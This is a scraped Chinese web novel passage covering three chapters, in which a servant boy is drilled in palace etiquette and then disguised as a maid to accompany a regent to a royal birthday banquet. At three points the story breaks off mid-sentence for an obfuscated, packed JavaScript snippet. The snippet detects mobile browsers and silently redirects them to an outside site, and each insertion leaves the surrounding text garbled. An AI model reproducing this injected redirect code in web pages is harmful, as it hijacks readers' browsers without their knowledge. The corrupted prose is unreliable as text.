宋无忌要带他入宫是在十日后，在这之前，他须得学会宫中礼仪。 单独教导他的是王府的教养嬷嬷，姓李。 这位传闻中的李嬷嬷，桃七听了好多回，不知何方神圣。似乎每一座府邸惯例都有一个镇府嬷嬷，从前姚府就有一个，凭桃七的经验，此般老妇人自己还是少招惹为妙。 按理说新入府的仆人，不论是小厮还是丫鬟，都需要在李嬷嬷手底下调教一通才能上岗，桃七之前却没有，是以这是他第一次见到李嬷嬷，果然很有王府大管家的派头。一身沉稳的朱石栗色褂袍，宽松的织锦褙子，一头半白的发用油服服帖帖疏成个低矮的圆盘髻。腕上佩戴一只飘黄的翡色玉镯，乍一看，比之四品大员府中的当家主母也不遑多让。 “小哥儿就把老身当成王爷，先行个礼看看。”李嬷嬷立于桃七面前，语气威严沉肃。身后还站着两个做事规规矩矩，行动一板一眼、极为规整的丫鬟，年纪比桃七还小，动作之齐整媲美战场上训练出的士兵，一看就是给桃七打样子来的。 奇怪的是，打样子，也该找两个男仆来，咋找了两个女婢？ 桃七没多舌，老老实实冲李嬷嬷做了个长揖。 啪！脊梁骨还没直起来，竹板子先往头上招呼。桃七脑壳生疼，挺身抱住就是惊天动地的一声尖叫。 “啊——” 中庭小花园，玉兰花树上的鸟儿扑飞而起，迅速逃离。两个丫鬟一点没笑。 “你这什么姿势？”李嬷嬷握着竹尺，骂起人来嗓门大如雷，“是要你行礼，不是拜年！” 桃七不服气：“拜年？哪能啊？十几年来拜也拜了成千上万个，从没人给过小爷红包啊。” 又是一道呼呼的竹尺声，这次是打在背上：“要你贫嘴！” 桃七懂了，李嬷嬷的第一课，就是立威来了。他咬碎一口牙，死死憋住气，忍一时风平浪静，我桃公子不与这恶毒老妇一般计较。 啪！大腿后的嫩肉一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15059172|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疼，火辣辣地要烧起来似的。 “这次又怎么了？我什么都没干？” 李嬷嬷横眉怒视：“站没个站相，一副懒散的混模样。站直，双手放在小腹前交叉，左上右下，两腿并拢，双足呈微微八字，肩背放松，头向下低，视线要自然地落于七尺外的地面……” 桃七依言照办，越摆姿势越觉得不对经，怎么感觉，李嬷嬷教导的真是婢女的礼仪？ 李嬷嬷让他学习两个小丫鬟，双足并拢站在一块，裤腿高高挽起，周围贴着足踝摆一圈火盆，一颗小小的豌豆夹在双膝之中，天灵盖上还顶了个水盆。身子一歪，火焰就燎上了腿，脖子一低，水盆就倾泻而下，简直是水火两重天。 “入宫之后，一举一动需规行矩步。首要的就是这个站姿，站桩是训练你的定力，这是基础中的基础。只有把站练好了，后头的行走坐卧才能做得体面得宜……” 桃七听了几句，嘴贱反驳，才说了几个字，竹板子就往屁股上来了一下，他疼地一扭腰，腿上的汗毛就烧掉了好几根，疼得他龇牙咧嘴，哭爹喊娘。 宫中女官所习的步法仪态，讲究就更多了，走路时脚尖必须向前，不能走八字步，也不能内八，要垫起足跟，小腿和脚腕有特定的发力方式，每一步不能发出一点响动，嘴里还得咬着筷子以保持微笑?…… “么么。”桃七走路练到一半，实在受不了了，含着筷子说，“敢嗯亘不亘嘿夜洗过啊。” “你说什么？”李嬷嬷没听清。 “我说……”桃七吐了筷子，“咱们能不能先练习坐？” 桃七一脸期待，眼珠子闪烁着希冀的光芒。 “胡说八道什么？”李嬷嬷叱骂，“做奴婢的，哪里有你坐的份？” “不是您说，行、走、坐、卧都要练的吗？” “那照你的说法，学习卧，是不是还得给您老搬张床过来，躺下伺候着？” “那倒也不用，”桃七甩了两下腿松快松快，“坐卧两项，我保证学得特别快，三五个时辰就会了。” “想得倒是美，给我站好咯！”啪啪啪三四下，把桃七打得“哎呦诶呦”蹦跶成了一只大跳蛙。 站立和行走每日需要练习三个时辰，此外，桃七还需要熟悉基本的宫廷礼仪，如向不同贵人行不同的礼、言谈用语、洒扫的技术、端茶倒水的讲究等等。尤其是宫规戒律，要做到烂熟于胸，为此每日要读写一个时辰，晚间安排了学习针线、女工、茶艺、插花、焚香…… 不到三日，桃七眼里便没有光了。 从前被黑心老板压榨，而今被恶毒老妇虐待，他这一生命途多舛，下辈子投胎千万擦亮双眼，要做个混吃等死的富贵闲人，桃七苦哈哈地想。 桃七心灰意冷地将扎了自己的满手窟窿的绣花针一甩，自暴自弃地说：“李嬷嬷，不是您教得不好，俺就是个大老粗，学不来女子的细巧活儿。趁着目下还剩几日功夫，还是换个人跟随王爷入宫去吧。” 李嬷嬷上下打量他一眼，像看自己精心照顾了一年的丝瓜藤上结出的又歪又丑的瓜：“你以为老身稀罕教导你吗？若是能换人，老身恨不得吃斋三日拜谢佛祖。还不是王爷关巴巴地叮嘱过人选，想换人？有本事你找王爷说去！” 于是这日，宋无忌下了朝，来小花园池子投喂愈发稀有的几尾丹顶鲤，桃七头一回主动去找他。 31.王府有女宜室宜家 摄政王才下朝，先是心情不错赏了会儿景，深秋里也繁花似锦的小花园里，一道长身玉立的背影，赭冠黑服，宽袖缁缘，外头却罩着一件白鹤云纹氅衣，身上宛如缀了盈盈月光般，太过夺目。 “换人？”宋无忌指端一顿，鱼食砸入水面的波纹扩散开来，渐渐消逝，他背着桃七问，“为何？” “小的命贱，学不会。”桃七歪着头，一根脊柱十扭八扭的，摆出三天不打的皮紧样儿。 王爷身边的两大护卫，千叶和万青相互交换了眼神，都惊讶于桃七敢在王爷面前摆出这副敷衍的态度。从前他见王爷不都跟老鼠遇到猫一样吗？这才几天，又开始欠打了？ 而且，他又自称“小的”、“奴才”，透着股自我放弃，自甘堕落的意思。 “不是不会，”宋无忌又抓了一小把鱼食，“是不乐意学吧。” “不错，也有部分是这个缘故。”桃七也不扭捏，“还有，一天到晚在李嬷嬷那吃排头，我快受不了了。” 鱼食落水，几尾漂亮的鲤鱼儿再次自觉围过来，争抢一颗颗五彩的鱼食，长久以来，它们被训练得水面的一点点波动都能被吸引着聚拢或被驱散。 “你觉得围棋与连珠棋有差别吗？”宋无忌问，语调如高岭仙葩，寒而遗世，透着股禅意。 突然来了这么一句，桃七不解其意：“这……当然是有的。” 宋无忌回头，平淡扫视他一眼，又转了回去。桃七立马不受控制地站直了，就跟那池子里的鱼一样自觉，被他简简单单一个动作弄得心惊肉跳。眼前的男人，不论作为他的主子还是仇家，都有让人俯首的霸者气质。 别说，这两日的形体训练还是有些许效果的，除了宋无忌之外，其他人都觉得桃七的站姿顺眼了不少。可惜的是宋无忌立马又都转回去了，桃七只能演给一张背影瞧，不敢立刻恢复成懒散的模样。 “哦？说来听听。”宋无忌道。 桃七挠着脑袋思考了会儿，道：“两种棋，规则完全不同，没有可比性。好比一只鸡和一只鸭，全身上下哪哪都不同。啧，滋味也不同，嗯！” “那你以为，二者有何相同点呢？” 桃七又思考了些许：“还是一只鸡同一只鸭，都是两条腿走路。围棋与连珠嘛，都是两个人，两只手在下。” “你告诉我，哪种棋不是两个人两只手在下呢？”宋无忌语气颇为无奈，“还有吗？” “啊？还要说啊？”桃七开始头痛了，继续想，这回过了好久，两手一拍，“他们都是用的黑白棋子，横竖交叉的棋枰下的，都一样！” 宋无忌转头看了他第二眼。 桃七低头，不与他硬碰硬。 摄政王府小花园外围，两颗榆树，一颗枇杷树，落叶染霜，将地面铺成一片橘黄。 宋无忌悠然道：“两种棋路的差异谁都能看得出来，但他们最大的相同点，就是独子不能成势，要取胜，必须连成一排一片。若自负一腔孤勇独身奋战，结局，要么困死原地，要么，被敌手吞吃。” 桃七惊疑不定地看着男人一身黑服的背影，勉强道：“王爷的大道理，岂是小民能懂的。” “本王带上你，难道是让你入宫吃席的吗？” 宋无忌言语里略带鄙视。 桃七沉默，不发一言。 “朝野和宫里的人物，你也该认识认识。” 此言一出，桃七心里方才回过味来，感到浑身的血液都激荡了一下。侍卫和小厮都静悄悄地站立，没有一点反应。 桃七要调查多年前的鬼矿案，主理案件的是刑部和大理寺的大人物，如桃七这样的仆役等闲无门路说上话，宫宴的确是桃七见到他们最自然的场合。除了官员，还有宫里的皇室，他们都是当初案件的亲历者。仅参与一场宴席，虽不能查清什么，但是可以让桃七认清他们的脸，算得上是第一个突破，不然靠他一个人毫无头绪地横冲直撞，只怕是步履维艰。 看来，宋无忌对自己接下来计划要做的事情一清二楚，而且居然在给自己创造机会！ 宋无忌能清晰感觉到背后射来的强烈视线，不禁在心底里叹气，他到底是太年轻急躁了，心里想什么，面上一点也藏不住。 这样的毛头小子，能在宫里安安分分呆下去，藏下去吗？ “那我去。”身后，定定的回应终于传来。 宋无忌微微动摇的念头，也不得不硬着头皮按照原计划来了。 他终于彻底转身，勾唇一笑，明明是温文的展颜，却让桃七十分忌惮。想想也是，毒蛇对你笑，谁都不会舒服。 “小七真乖。”宋无忌笑道。 又来了！桃七有一种立马原地转身逃跑或者跳进鱼池淹死的冲动，这种肉麻与肉痛相互交织的感觉他一点也不想再忍了。 忍不了，也得忍，摄政王的笑容和褒奖，如果不受着，那也太找死，太不识抬举了。 桃七不好意思地搔搔脸颊，兀地想到一事，脱口道：“对了还有，奴才早就想问了，我的身份是王府小厮，为何要学那宫中女官的规矩？” “你啊，白长了副机灵的模样。”宋无忌甩了一把鱼食，边上早有侍婢托举着盆给他净手，他执起了凉凉的檀珠，“能随本王入宫的，不是女随，就是太监，连千叶与万青等人都要在光华门外等候。你想做小厮挨一刀再进宫，本王也不介意。” “我介意！” 桃七猝然捂住了某个不存在的部位，龇牙咧嘴，仿佛那里承受剧痛。 “顺利的话，男扮女装，跟在本王身边，装作一个洗脚婢，能应付吧？” “包的！包的！”桃七点头如小鸡啄米，甩出面条宽的两行泪。 连敲带打，连哄带骗，总算是得到了配合的态度，宋无忌走到桃七面前，亲自拍了拍他肩膀上的落叶与尘埃，背着手，满意地离去了。 * 桃七老老实实回到李嬷嬷那里，回归被她手中棍棒摧残的生活中。不过，在这整整十天里，除去学这些兴许只用一次的规矩，抽空的时候，他还托相熟的小厮从外头买了几捆慈竹，搬到墨室里。大晚上的，身体疲惫不堪，也不睡，点灯熬油，劈竹子制作些小玩意儿。 他做了三个镂空的蹴鞠，七支音色半准不准的竹笛，四对竹灯笼，八个风筝骨架，十几个竹陀螺和不倒翁，剩余细小的竹篾子，随心编了几个竹娃娃和竹老虎。原本还计划做两匹大大的竹马，实在是工期不够，只能下次了。 期间他出府过一趟，找到江跃亭，托他将这些东西送去矿村，还带了几句话给陈茂。桃七看到举辉堂他住的屋门外，站了两个带刀侍卫，都是人高马大的好手，便知宋无忌果真信守承诺，帮他将江跃亭保护了起来，免受魏家公子的迫害。如此，桃七也能彻底安心先去办宋无忌的差使。 王府里头的人情世故不可少，凡是桃七这阵子打过交道的仆人，都得了他用月银买的礼物。他还用最好的材料做了一只竹篮送给樊秋合。 染瓦坊桃七编出来的篮子，不仅造型美观，而且篮底有机关，拨一拨，竹篾子相互凑紧贴合，就结实得能装水；再拨一拨，缝隙加大，又能漏水了。这样的一件东西，既是篮子，又是水桶，一物两用，从前在染瓦坊小小一条街巷子百十来户人家中饱受欢迎。因他一双巧手，竹篮打水一场空这句俗语，不再是真理了！ 王府□□，侍婢的通房外，樊秋合收到他亲自送来的礼物，自是千分稀罕，万分欣喜。唤蚕望也出来，但她不愿意见桃七，硬是一步没踏出门。蚕望如今还是住在原来的通房铺位上，受过刑后，一双手好悬废了，幸而医治及时，养好了就能恢复从前一双皓白的柔夷，只不过这阵子等闲不能做事了。伤痛还在其次，最难受的是，她那日的狂放举动，惹得从前的女伴们群体鄙视，日日风凉话不停。她就整日把自己闷在屋子里，不乐意出门。 自从桃七意识到逃不掉进宫这茬子，就跟着李嬷嬷好好学了一阵子规矩。李嬷嬷惊讶地发现，桃七突然好教了非常多，步态和动作端正又自然，看起来丝毫不显得生硬，举起茶壶的高度、走路的步长，精准到毫厘都不差，一个个动作早已烂熟于心，精准地恍若从前做过千百遍。站立，即双手交叠在胸前，行走，裙裾随着脚步而飘舞，幅度优美，赏心悦目，宛如一朵清雅的莲花，繁琐的宫规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15063755|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼法一夜背诵会，默得一字不差，字迹算不上好看，却规整得宜。 简直能用脱胎换骨来形容。 这还是她教出来的成果吗？李嬷嬷半点不敢认，桃七将她带来的两名模范侍婢都衬得不入流了！ 为此，老人叫还特意迈着端庄从容的步子，到主子摄政王跟头，说桃七转了性子，狠狠夸了两句。宋无忌也没说什么，拜托她再辛苦两天继续教完，李嬷嬷见主子没么什么意见，就把心里的古怪按了下去。最后，委婉地提了一句，说桃七的女子装束实在不太合适，怎么看，都别扭得很。 桃七就算打扮得全幅行头都是女子，举止仪容也成了个女子的范式，偏偏就是不像个女子。 那不是外貌上的更换能修改的，而是他骨子里透出来的气质。到如今，李嬷嬷还是坚信不疑，桃七就是个混迹市斤的地痞，微末行当的流氓。 “嬷嬷不必担忧。”后院凉亭，秋风习习，宋无忌放下画笔，气定神闲地喝了口茶。 “王爷何必让他一个小子装作女随陪您去宫宴呢？到底是宫里头，马虎不得，他一说话，衣裳一剥，就露馅儿了”李嬷嬷语气忧心忡忡，是真的在为桃七担忧。 “不会的，即便剥他的衣裳，他也不会暴露。”宋无忌道。 “可……只剩两三日了，他通身的男孩子气，不是一朝一夕能更改的。” 宋无忌莞尔浅笑，把李嬷嬷看得吓了一跳，看他低头，欣赏石桌子上铺开的一小张画纸。他温言道：“且看着吧，当日她会是个什么德性。” 秋风吹落枯叶，吹不走玄玉镇纸下的那张绢纸，上头，只画了一双灵动的眼睛。 * 大岐皇帝陛下十六岁诞辰这日，举国休沐，京城罢朝三日。宫宴在日落后酉时三刻开始，可临到那天，被邀请的百官以及皇亲国戚需辰时就到，陪同皇帝入常极观斋醮敬天祭祖，再行宫宴，故而大伙需卯时就起床收拾，打点全身上下的盛装后，预备出发了。 天才蒙蒙亮起来，摄政王府前，巨大漆黑的施幡车稳稳当当地立在秋寒里头，似一只沉默的巨兽，打头八匹乌黑的汗血马排列有序，牛皮做的髫子系得规规整整，喷出的响鼻里，带出浓浓的白雾。 摄政王当先出府，登上了车。 施幡车依旧稳稳停立，车夫们并未收到启程的命令。 两侧的带刀侍卫，开道的仆从，车尾举旗子的差役，都没有动弹，立在秋风中，像是在等待什么。 王府大门洞开着，约莫一盏茶后，终于响起了愈来愈近的足音。 哒哒哒，哒哒哒……急促又轻灵，似乎是一位柔弱窈窕的女子，因起晚了，误了与情郎幽会的时辰，娇羞地疾步往前冲。 “他奶奶个熊！”桃七边跑，边扶头上的幕篱，在心里骂，“往日里规矩森严让俺们走偏门，今天赶时间，非逼老子绕一大圈走正门，宋王八脑子里是不是装的屎！？” 纵身一越，一抹清新的身影，跨出了摄政王府及膝那么高的门槛，落地，桃七一怔。 门口，乌压压的几十号人，个个正服加身，皂衣青冠，佩刀的佩刀，执仗的执仗，俨然肃然，凛然生威。 这才是属于摄政王的气派！ 王府差役们，个个虽看着不动声色，其实眼神齐刷刷地飘了过去，看着丈余高的大门口凭空冒出来的陌生女子。 那女子一身粉蓝色素绢小袖侍女裙，外罩月白色薄纱披衫，通体简约无雕饰，唯一的装饰是裙尾的十二缕流苏；头戴幂篱，白纱垂落，直到腰部，那里的孔雀蓝色丝帛腰带勒得她快要窒息，也只有这样，才凹出了点女子身段的窈窕和玲珑。裙子底下看不见的地方，穿的仍旧是男子的绑腿长裤。 她就这么撞进了众人的视野之内，像是狼群中落下了一尾白皙鲜艳的锦鲤。 好容易止住向前冲的势头，桃七一边喘，一边把幕篱的白纱顺了两下，以免自己的脸暴露出来吓到无辜的“同僚”。 宋无忌呢？ 刚一思考，施幡车窗帘微动，从中探出那人一双手，修竹般的两指勾了勾。 那意思是让她上来。 32.错良人画眉误春秋 桃七迈着练习了十天的优雅小碎步，在一众仆人惊讶的目光之中，麻利地登上了马车。 “架！”数条鞭子一齐甩动，浩浩荡荡的人流向着大内的方向去，如过去八年里无数次一样。 又很不一样。 因为这日，摄政王的马车里，除了他自己，还多了位神秘女子。 马车内，神秘女子规规矩矩坐在侧边软椅上，双腿并拢，两手安分地放在膝上。如前两次一般，她还是在靠近车帘的位置，尽量远离主位的男人。同时一双眼睛也在白纱后面，偷眼打量着主位上的男人。 宋无忌身着紫金重袍，头顶镶金赭冠，眉目舒朗宛如墨画，一双锋利的眉下，深深镶嵌了一对眼，眼型在桃花眼和丹凤眼之间，睫毛长而下垂，俯视之际洒下一片浓重的阴影，于男子而言，未免有点精致得过了头。 可经过塞外六年风沙，宦海八载浮沉，肃杀的戾气和极端的城府又让他从骨子里透出冷漠、高贵和不可逼视的威严，仿佛一张口，吐出的就是生杀。 男子的眸光在她身上及头顶的竹幕篱上落了片刻，右手扣弄檀珠的动作微不可察地一顿。 “揭了。” “什么？”幕篱之下，传出女子的嗓音，隐而不发的不满。 宋无忌的眼神重了起来，意思是好话不说两遍。 桃七的脊背绷直了，略点了层薄薄口脂的两片嘴唇不满地动了动，等了片刻，终于是机械地抬起手，握住幕笠的边缘，缓缓摘下。 面上的妆容淡得像没有一样，可在极淡的妆容之下，依旧鼻子是鼻子，眼是眼的，姿容可算得上上佳。只不过需要遮住眉骨以上，人中以下的部位。 因为她的脸上，挂着条长长的、一指粗的眉毛，黑乎乎、脏兮兮的，像是两条连体的毛毛虫趴在上面。 唇角还沾了颗大黑痣，拔地突出，连毛都有，弯弯曲曲地勾着，细节到位。 乍见得这幅尊容，宋无忌眉头一皱，两条英俊锋利的剑眉差点也接到了一起。 “王爷，这叫连头眉，”桃七对他眨了两下眼睛，“讲究一画连心，世人谓之仙娥妆。” “……” “呃，您可能看不懂，不过这种的的确确是烨都今年最风行的女子妆容。至于这颗唇边痣，说明我有食禄运，惹人喜欢。”桃七说了两句为这妆容辩解一番，说话时五官挤在一起，活像一只谄媚的黄鼠狼，娇羞地用手背抚了两下脸颊，男扮女装那味就有了。 宋无忌闭了闭眼。 她明明可以从里到外都是一个女子，独独在自己面前，非要这样吗？ 非要气他吗？ 或是单纯的缺心眼？ 还是……怕吗？ 马车稳稳地向前去，屠沽市井里，小商小贩们早就出了摊，阵阵羊肉面汤的香气透过马车帘子飘来，桃七的肠子微微动了两下，但是声音不明显。才起了个大早，还没来得及吃早饭呢。 这么想着，突兀地，宋无忌起身，落座于她旁边的软垫子上，两指挑起桃七的下巴，往他自己那边凑去。 桃七的下巴只有那么一点，被几根矜贵的手指捏着，非常合手。男人另一只手不知从何处取出一条浸了水的帕子，轻轻拂上了桃七的眉头，用了四五成的力道，不轻也不重地，将两道用煤灰填出的眉毛擦得一干二净。 桃七只能仍由他动作，她被吓傻了，眼睛死死闭着，嘴也闭着，一动也不敢动。 擦了足足三四十下，宋无忌终于满意了，方取出一小截东西，变戏法似的，也不知是从身上还是从马车中哪里摸出来的。 桃七感到一支尖尖的东西，在自己被摩擦得火辣辣的眉毛上划来划去。 不像是乱画，而是很有章法地，从眉头到眉尾，一笔一划，用他那只执了十几年画笔的手，稳稳当当地，为她补了两道眉形出来。 男子呼出的气息喷到了她脸侧，秋寒料峭之中，十分之明显。 《汉书》有载，张敞为妻子画眉，惹皇帝赞赏，世人艳羡。 桃七真恨自己少时为何读了那么多不正经的话本故事，这种时候，脑子里还在想这个？ 荒唐！ “豆腐——豆腐——白又嫩的豆腐，”羊肉面汤的香气甩在后面，耳畔又响起了卖豆腐大爷自编的吆喝，“豆腐——豆腐——割去煮给丈夫……” 他娘的谁要吃你一个糟老头子的豆腐…… 眉骨上的摩擦终于停止了，桃七即使闭着眸，都能感到对方满意的眼神在自己脸上扫来扫去，好比欣赏一副精心描绘了半天的画作。 紧接着，唇边一阵尖锐的刺痛袭来，那颗黏了一晚上，牢牢固定住的痣，被无情地拔了下来。 桃七痛。 桃七想哭。 桃七真的哭了。 桃七又把眼泪憋回去了！ 哭是要睁眼的，可是她一掀开眼皮，宋无忌的脸凑得那么近，在他的注目下，桃七嘴唇发干，什么话都说不出。 而他的手心里，捏的果然是一支眉笔，不知是桐黛还是螺子黛。宋无忌一个大男人，为何会携带这种东西？ 还能为啥？他自己要用呗，他的两道粗眉必定也是画出来的，不然怎么会比戏台子上的小生还要浓密，还要虎虎生威？ 宋无忌不仅变态，还自恋，真是有够自恋！ 幕篱跌落在足边，女子秀气的眉眼初见端倪，眉色如远山雾霭，愈发对比出面孔白皙、清简动人。头上插一支素雅的和田玉雕海棠花簪子，是王府女婢都能从王府的公中领的，不是什么贵重的东西，却衬得女子皎皎然钟灵毓秀，一派天成。 女子如此素衣淡彩，却丝毫没有清稚羸弱之感，而是透出一股子倔强，不是长久习得的少年的痞气，不是刻意伪装出的娇柔女子气，而是自根下腾腾冒出来的，终于冲出了一层层的虚伪的外壳，磨砺经年而不改的少年赤忱和天真。 那幅画，终于可以开始收尾了，宋无忌想。 皮下三寸，不过白骨。 本就是切肤之痛，刻骨之恨。 剥皮敲骨后，才能分辨出，真正的你吧。 姚凄凄…… * 施幡车沿着中央大道驶入乌压压的暗红色宫墙时，樵楼方打着辰时的鼓。 九重宫阙，朱漆雕拦，伫立在晨曦之中，明晃晃的琉璃瓦，金龙盘踞其上，熠熠生辉，獬豸?狻猊，神秘巍峨地静默伫立顶端，诉说百余年王朝的沧桑与辉煌。 入第一重光华门后，便入了皇宫，却还没有到达大内。 光华门内的含元殿，是满朝文武上朝的地方，殿外，众位文武大臣需要下车步行，除了一两名必要的随侍之外，不可再带侍卫进去，也不能自行携带刀兵，宫里自有金吾卫守护。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091252|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 摄政王的大车也在此停了下来。 今日是祭祖和宫宴，含元殿前比往日还要热闹，不是所有能上朝的京官都能受邀参与皇帝寿宴的，来此的大人物里，朝中大员还在其次，主要是皇亲国戚、宗室王侯。 来往的人多了，宫里还安排了几十个小内宦负责接引这些大人物，以免车马多了，人多道挤，惹得贵人不快。且在这般大日子里，贵人们一般心情都不错，赏钱也不会少，银子一锭一锭丢出去，往往一日的赏钱就能抵得上宫里底层小内宦一年的俸银。 桃七先宋无忌一步下车，她快被车里诡异的气氛憋死了，一刻也不能同宋王八待下去了。掀开帘子，当即一愣。只见高高的施幡车前室底下，一个身着景泰蓝褂子，带着圆顶小帽的小内宦，跪趴于此，后背与地面平行，头低低地垂着，尽心尽力地扮演人墩子。 桃七皱了皱眉，越过他，直接跳到地上。 她能感受到，摄政王的车驾队伍里，甚至是在殿前的数支送主子入宫的仆从队伍之中，一双双朝他投射过来的视线。 千叶和万青见了那女子摘掉幕篱的模样，俱是一愣。互相看了一眼，一时都不敢说话。因为他们都觉得太荒唐了！ 宋无忌随后出来，看都没看地上一眼，直接踏在人墩子上，优雅从容地下了车。 的确很优雅，很熟练，像是从前做过千百次一般。整个烨都上下不知多少人哭着喊着想给摄政王当踏脚凳，但是桃七看了那一幕，还是很不舒服。 马车驶离，停在远处，小内宦也起了身。千叶走到他跟前，递过去一个荷包，里头应该是赏银。小内宦掂了下荷包，笑逐颜开，磕头拜谢不提。 这一趟宋无忌带来的，除了桃七、千叶万青两个侍卫，还跟着两个面生的侍婢，一个叫夏嘶，一个叫冬囚，俱生得楚楚动人，而且身长六尺，体格算得上高大。 桃七见到她们，心中疑惑。之前她已将阖府上下的仆从侍婢和侍卫都见过一遍，记下名字，不记得有这么两个侍婢。 她想起那时候千叶交代过的——调查爬床侍女期间，自己可在府上随意行动，只是除了西暖阁和二进的东苑。 西暖阁便是宋无忌自己的书房，那二进的东苑又是个什么神秘的地方，难不成这两位侍婢就是那里伺候的，亦或者是西暖阁里头的陪床丫鬟？平时不轻易放出来见人的？ 总之，能被宋无忌带入宫里赴宴的女随，自然有些过人之处，正如桃七自己一般。 “愣着做什么？”宋无忌不知何时到了她身边，突然对她说话。 桃七骇了一下，道：“无事。”说话间，那二位侍婢也向他们走了过来。 “进去了。”宋无忌转身迈向含元殿高高的汉白玉台阶。 “是，王爷。”桃七想起了李嬷嬷十天来的教导，规规矩矩地回应主子。 车马已经远去，连千叶和万青都蹲守在殿外，向宋无忌远去的背影稽首。他们是带刀侍卫，无法进入含元殿内，只能在外面守着，这一守就是一整天。虽无事可做，他们也不能去别的地方，谁知道摄政王会不会发生什么意外，被明枪暗箭给伤了呢？所以他们需要在尽可能近的地方呆着，一有什么动静，也好支援。 摄政王与他看重的“新”侍女，一前一后，连同那两位高个子侍婢，四人的身影一同消失在含元殿的朱红色的巍峨大门之内。 33.入含元何人作鱼肉 含元殿六年前彻底翻修过一轮，外观碧瓦飞甍，恢弘气派，内里雕梁画栋，庄严肃穆。藻井、宫灯、白玉栏；御座、金匾、紫金炉。红酸枝地板上了桐油，仔细嗅还有散发出的香味。 里头的一砖一瓦，一草一木，都是北川矿场的工人的性命换来的，也不知而今的皇室知不知道，记不记得。 含元殿后面就是常极观，常极观后便是皇宫内苑了，等闲不能进入。外男敢进去就是犯上的死罪。 常极观便是大岐皇室祭祖的场地，乃是一百六十多年前，大岐开国的天启帝下令建造、并亲自命名的。他认为，阴阳鱼里的黑与白是两个极端，常与极，亦是两个极端，而且绝大多数时候，平淡寻常才是人活于世间的主旨。天启帝晚年来此悟道，其道行深厚，悟性绝佳，可见一斑。 可野史中记载，天启帝出生后竟是个痴傻儿，幼年时饱受欺凌，吃着泔水长大。原来他是为了在大家族里活下去，才扮演一位人畜无害的呆头鹅，隐而不发，迷惑要残害自己的歹人，如此他才能活到复仇的那一天，甚至后面招兵买马自己做了皇帝，奠定了大岐百年的盛世基业。 皇家正史里为保全祖宗名声，从始至终都否认这一点。民间却一直将这个故事当做传奇口口相传，赞扬天启皇帝隐忍的心性和忍耐力，更甚于那卧薪尝胆的勾践。桃七便是从染瓦坊的说书大爷那里听说的这个故事，颇觉着自己的遭遇与那天启帝有异曲同工之妙，说不定未来也能干出一番事业。 想到这里，桃七突然停步，感知到了一道奇怪的视线。 “姑娘，怎么了？”夏嘶、冬囚两位侍婢在桃七身后，见她停了下来，出言询问。 桃七转身看去，含元殿门外，站着一位约莫四十上下的男子，身穿佛头青绣蟒纹滚边长锦衣，外罩覃紫色貂皮大氅，通身的富气逼人，身后两位美婢并两位宦者内侍，是个十分标准的富贵闲人的派头。 富贵男子生得倒是人模狗样，阔额高鼻，腮鼓唇厚，因生下来便养尊处优，脸上没什么皱纹，美中不足的就是生了一双小小的三角眼，眼神还在色眯眯毫不掩饰地向桃七这边射来。不光看桃七，还看她身边的两位侍，猥琐的神情把那点用锦衣堆砌起来的矜贵都给损没了。 桃七听说，上上任先帝，也就是景夏帝的兄弟有七八个，可惜没一个能堪大任的。不是病弱支离，就是脾性恶劣，要不就是自愿出家当了和尚，不然也不会在无子的永和帝猝然驾崩后，选一个宗室旁支的稚子，也就是今日见过的鼎隆帝，推他出来登基，而不在血缘更近的皇叔里挑一位。 七八位皇叔里头，有一个行九的兖王，素有好色凶残之名，传遍烨都大大小小一百多个坊市。而且他还喜欢与同道中人分享自己的侍妾们，甚至连自己的正妻也受过此等大辱。 兖王的妻子是个出生书香门第的贵族女，若是兖王自己在外头胡乱搞，她也就咽下了，但是他居然把主意打到自己头上。其妻子不堪受辱，三年前的半夜，找了根绳子在自家王府大门口吊死了。不少路过的街坊邻居看到了，都叹息那叫一个凄惨。 害死了妻子，兖王非但不收敛，反倒庆幸少了一个管教他的人，后面依旧这般荒唐度日，糟蹋了不少良家妇女。人命关天，影响恶劣，照理大岐律令，自然要送交京兆尹的牢狱里好好查查他，但他是两位先帝的亲弟弟、亲叔叔，论起血统来比出身旁支的鼎隆帝都要纯正。连鼎隆帝和太后也管不了他，就别说一个小小的四品京官了。 此次寿宴祭祖，宫女们盛装而出，一朵朵娇花儿似的围着，兖王自然要色眯眯地打量，看到一位打扮娇嫩五官清隽的侍女，眼前一亮，又看到她身边的两位高挑侍女，眼前一亮又一亮。他偏爱个子高的女子，若是在床笫之间再泼辣一点儿，那可太合他胃口了。 但是那几个丫头显然是有主的，这不，他们的主子一回头，和他对上了视线，一张神佛皆惧怕的罗刹面，让他一下子就萎了。 兖王只是兖王，这一位，可是货真价实的阎王。 